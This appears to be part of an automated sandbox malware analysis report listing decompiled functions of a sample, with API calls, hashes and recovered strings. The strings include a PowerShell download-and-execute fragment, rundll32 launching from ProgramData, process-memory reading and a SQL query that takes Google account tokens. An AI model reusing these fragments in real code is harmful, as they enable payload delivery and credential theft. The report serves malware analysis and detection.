Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-0
Opcode ID: f9f3305b62d8938ee285346d2919e37f29fe0c0c47e81a210a531a9ca342616c
Instruction ID: 3a80b495fe7da1e9f23044267c3f746d9cfe0b342e97f353e9841dbafd9dc7d4
Opcode Fuzzy Hash: f9f3305b62d8938ee285346d2919e37f29fe0c0c47e81a210a531a9ca342616c
Instruction Fuzzy Hash: 5351B471E02208ABEB25DF65CC91FAEB7B9EF84700F15851AE501A72C1D770AE41C794

Function 002F4E90 Relevance: 15.1, APIs: 10, Instructions: 125networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,?,00000001), ref: 002F3DA2
Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,00000400,?,00000001), ref: 002F3DAF
Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,00000400,00000400,?,00000001), ref: 002F3DBC
Part of subcall function 002F3D70: lstrlen.KERNEL32(00000000,00000000,0000003C,?,00000001), ref: 002F3DD6
Part of subcall function 002F3D70: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 002F3DE6

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002F4ED3
StrCmpCA.SHLWAPI(?,02F43058), ref: 002F4EEE
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,-00800100,00000000), ref: 002F4F13
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 002F4F36
InternetReadFile.WININET(00000000,?,00000400,?), ref: 002F4F4F
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 002F4F76
InternetReadFile.WININET(00000000,?,00000400,?), ref: 002F4FA0
CloseHandle.KERNEL32(00000000,?,00000400), ref: 002F4FBC
InternetCloseHandle.WININET(00000000), ref: 002F4FC3
InternetCloseHandle.WININET(00000000), ref: 002F4FCA

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CrackCreateWritelstrcpylstrlen
String ID:
API String ID: 105467990-0
Opcode ID: 41e117c68b2dad2da629fef4f2bbc3f9bf464b9fb5fc9836ff9d53c3f57d4b53
Instruction ID: ae82f431f1ee8c8bffeb2123f420f4c66ecdf9a0511c10db30f89ba580c0a9be
Opcode Fuzzy Hash: 41e117c68b2dad2da629fef4f2bbc3f9bf464b9fb5fc9836ff9d53c3f57d4b53
Instruction Fuzzy Hash: F1416D71620209ABEB20EF70DD5AFBE736CEF54740F544128FB05A6191DB70AA19CB64

Function 00305709 Relevance: 15.1, APIs: 10, Instructions: 115stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,003101DC), ref: 0030571C
StrCmpCA.SHLWAPI(?,003101D8), ref: 00305736
lstrcat.KERNEL32(?,02F431A8), ref: 00305774
lstrcat.KERNEL32(?,02F43188), ref: 00305788
lstrcat.KERNEL32(?,?), ref: 0030579C
lstrcat.KERNEL32(?,?), ref: 003057AA
lstrcat.KERNEL32(?,003101E0), ref: 003057BC
lstrcat.KERNEL32(?,?), ref: 003057D0

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002F6C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000,?,002F1916,?), ref: 002F6C3F
Part of subcall function 002F6C20: GetFileSizeEx.KERNEL32(00000000,?,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6C55
Part of subcall function 002F6C20: LocalAlloc.KERNEL32(00000040,?,?,?,002F1916,?), ref: 002F6C70
Part of subcall function 002F6C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,002F1916,?), ref: 002F6C89
Part of subcall function 002F6C20: CloseHandle.KERNEL32(00000000,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6CB1

Part of subcall function 003042A0: Sleep.KERNEL32(000003E8,?,?,?,?,?), ref: 00304345
Part of subcall function 003042A0: CreateThread.KERNEL32(00000000,00000000,Function_000130F0,?,00000000,00000000), ref: 0030438D
Part of subcall function 003042A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00304399

FindNextFileA.KERNEL32(00000000,?), ref: 00305863
FindClose.KERNEL32(00000000), ref: 00305872

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$File$CloseCreateFind$AllocHandleLocalNextObjectReadSingleSizeSleepThreadWaitlstrcpy
String ID:
API String ID: 1847592606-0
Opcode ID: ce5e328944fafa080d46d2d4d5c490c905b41cdc004ddfce74bef7dfa52ec54f
Instruction ID: 35eac716c535c4e78befcd9778ff9a30f1fab540335749520179ea1849bdf38f
Opcode Fuzzy Hash: ce5e328944fafa080d46d2d4d5c490c905b41cdc004ddfce74bef7dfa52ec54f
Instruction Fuzzy Hash: 5A41BB7552120CABDB29EFA0DD99EFE733CAF54740F0485A8FA0592081EB709749CF61

Function 002FF550 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 192COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 002FF561
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 002FF588
memset.MSVCRT ref: 002FF5E4
ReadProcessMemory.KERNEL32(00000000,00000000,00000000,00000208,00000000), ref: 002FF63C
memset.MSVCRT ref: 002FF6CF

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 002FF5FA, 002FF6E8
N0ZWFt, xrefs: 002FF692

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Processmemset$MemoryOpenRead
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30$N0ZWFt
API String ID: 2048220554-1622206642
Opcode ID: f17f3f8c5b554925d222f5329579b540a3303fc8f9fa1dbaceb317b427c7f111
Instruction ID: 121d36775220963627cea9247135e6d7eeb509a557b2a20cc222ef49b544435d
Opcode Fuzzy Hash: f17f3f8c5b554925d222f5329579b540a3303fc8f9fa1dbaceb317b427c7f111
Instruction Fuzzy Hash: 17613671D10209ABEB34AFA4CC45BEFF7B99F44350F044278F618A72D1EBB499548BA1

Function 002FDC70 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103stringmemoryCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 002FDCB0
strchr.MSVCRT ref: 002FDCC2
strchr.MSVCRT ref: 002FDCE9
lstrlen.KERNEL32(?), ref: 002FDD08
GetProcessHeap.KERNEL32(00000008,-00000001), ref: 002FDD15
RtlAllocateHeap.NTDLL(00000000), ref: 002FDD1C
strcpy_s.MSVCRT ref: 002FDD67

Strings

0123456789ABCDEF, xrefs: 002FDC76

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heaplstrlenstrchr$AllocateProcessstrcpy_s
String ID: 0123456789ABCDEF
API String ID: 1327626442-2554083253
Opcode ID: e06e4223512e74cb1e907ba4f2623a4d36b498a3fb6df374a38ae2850ccc9a4f
Instruction ID: 4895b0ec020d68bf7141d3c6a065a17324cf22572f49bb378f1ca4f1420b09be
Opcode Fuzzy Hash: e06e4223512e74cb1e907ba4f2623a4d36b498a3fb6df374a38ae2850ccc9a4f
Instruction Fuzzy Hash: CB31C57291011DABCB11DFA9DC84AFEF7BDBB49340F004269E904E7351DB319A01CBA0

Function 00301920 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 00300B80: GetSystemTime.KERNEL32(?,02F46C20,003101E9,?,00000000,?,?,?,?,?,002F46E7,?,00000014), ref: 00300BA9

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

ShellExecuteEx.SHELL32(0000003C), ref: 00301A8D

Strings

')", xrefs: 003019CA
.ps1, xrefs: 003019A8
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 003019DB
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00301A1B
C:\ProgramData\, xrefs: 00301952
<, xrefs: 00301A5A

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$.ps1$<$C:\ProgramData\$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 2215929589-38637897
Opcode ID: bdee5d34a87375b26ca4a08886dde90c3ebb653893c2f8a7a4b6aa8b22bc2dc2
Instruction ID: 8be1dfad54423fb09d044e6168daa3865dc19c9d499c06e95c871aa5fe5af653
Opcode Fuzzy Hash: bdee5d34a87375b26ca4a08886dde90c3ebb653893c2f8a7a4b6aa8b22bc2dc2
Instruction Fuzzy Hash: E5510C71D2010CAADB59EBA0DA62DFDF778AF14780F504179F60672291EF706A58CF50

Function 002F85F0 Relevance: 10.8, APIs: 4, Strings: 3, Instructions: 282stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 002F6E90: memset.MSVCRT ref: 002F6EE7
Part of subcall function 002F6E90: LocalAlloc.KERNEL32(00000040,?), ref: 002F6F1E

lstrlen.KERNEL32(00000000), ref: 002F87C3

Part of subcall function 00300DA0: LocalAlloc.KERNEL32(00000040,002F87D9,?,?,?,?,002F87D8,00000000,00000000), ref: 00300DBC

StrStrA.SHLWAPI(00000000,AccountId), ref: 002F87E9
lstrlen.KERNEL32(00000000), ref: 002F88AE
lstrlen.KERNEL32(00000000), ref: 002F88C2

Strings

GoogleAccounts, xrefs: 002F862A, 002F869F
SELECT service, encrypted_token FROM token_service, xrefs: 002F8734
AccountId, xrefs: 002F87E3

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memset
String ID: AccountId$GoogleAccounts$SELECT service, encrypted_token FROM token_service
API String ID: 4178852800-465000181
Opcode ID: dd42dac133cd5527fe5a311886f4b74228662c0d08a19ed2248ad12fb86402a5
Instruction ID: dcb7798e5f13dbe30dc178b434283f7754b6c565b5c63293602343199267bc28
Opcode Fuzzy Hash: dd42dac133cd5527fe5a311886f4b74228662c0d08a19ed2248ad12fb86402a5
Instruction Fuzzy Hash: 85A1037292010DABDB55EBA4DE56DFEB378AE54780F504138F60272291EF70AA18CE61

Function 00303420 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 00300B80: GetSystemTime.KERNEL32(?,02F46C20,003101E9,?,00000000,?,?,?,?,?,002F46E7,?,00000014), ref: 00300BA9

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

ShellExecuteEx.SHELL32(0000003C), ref: 00303667

Strings

.dll, xrefs: 003034B0
C:\Windows\system32\rundll32.exe, xrefs: 00303595
"" , xrefs: 003034D2
<, xrefs: 0030363A
C:\ProgramData\, xrefs: 0030344F

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
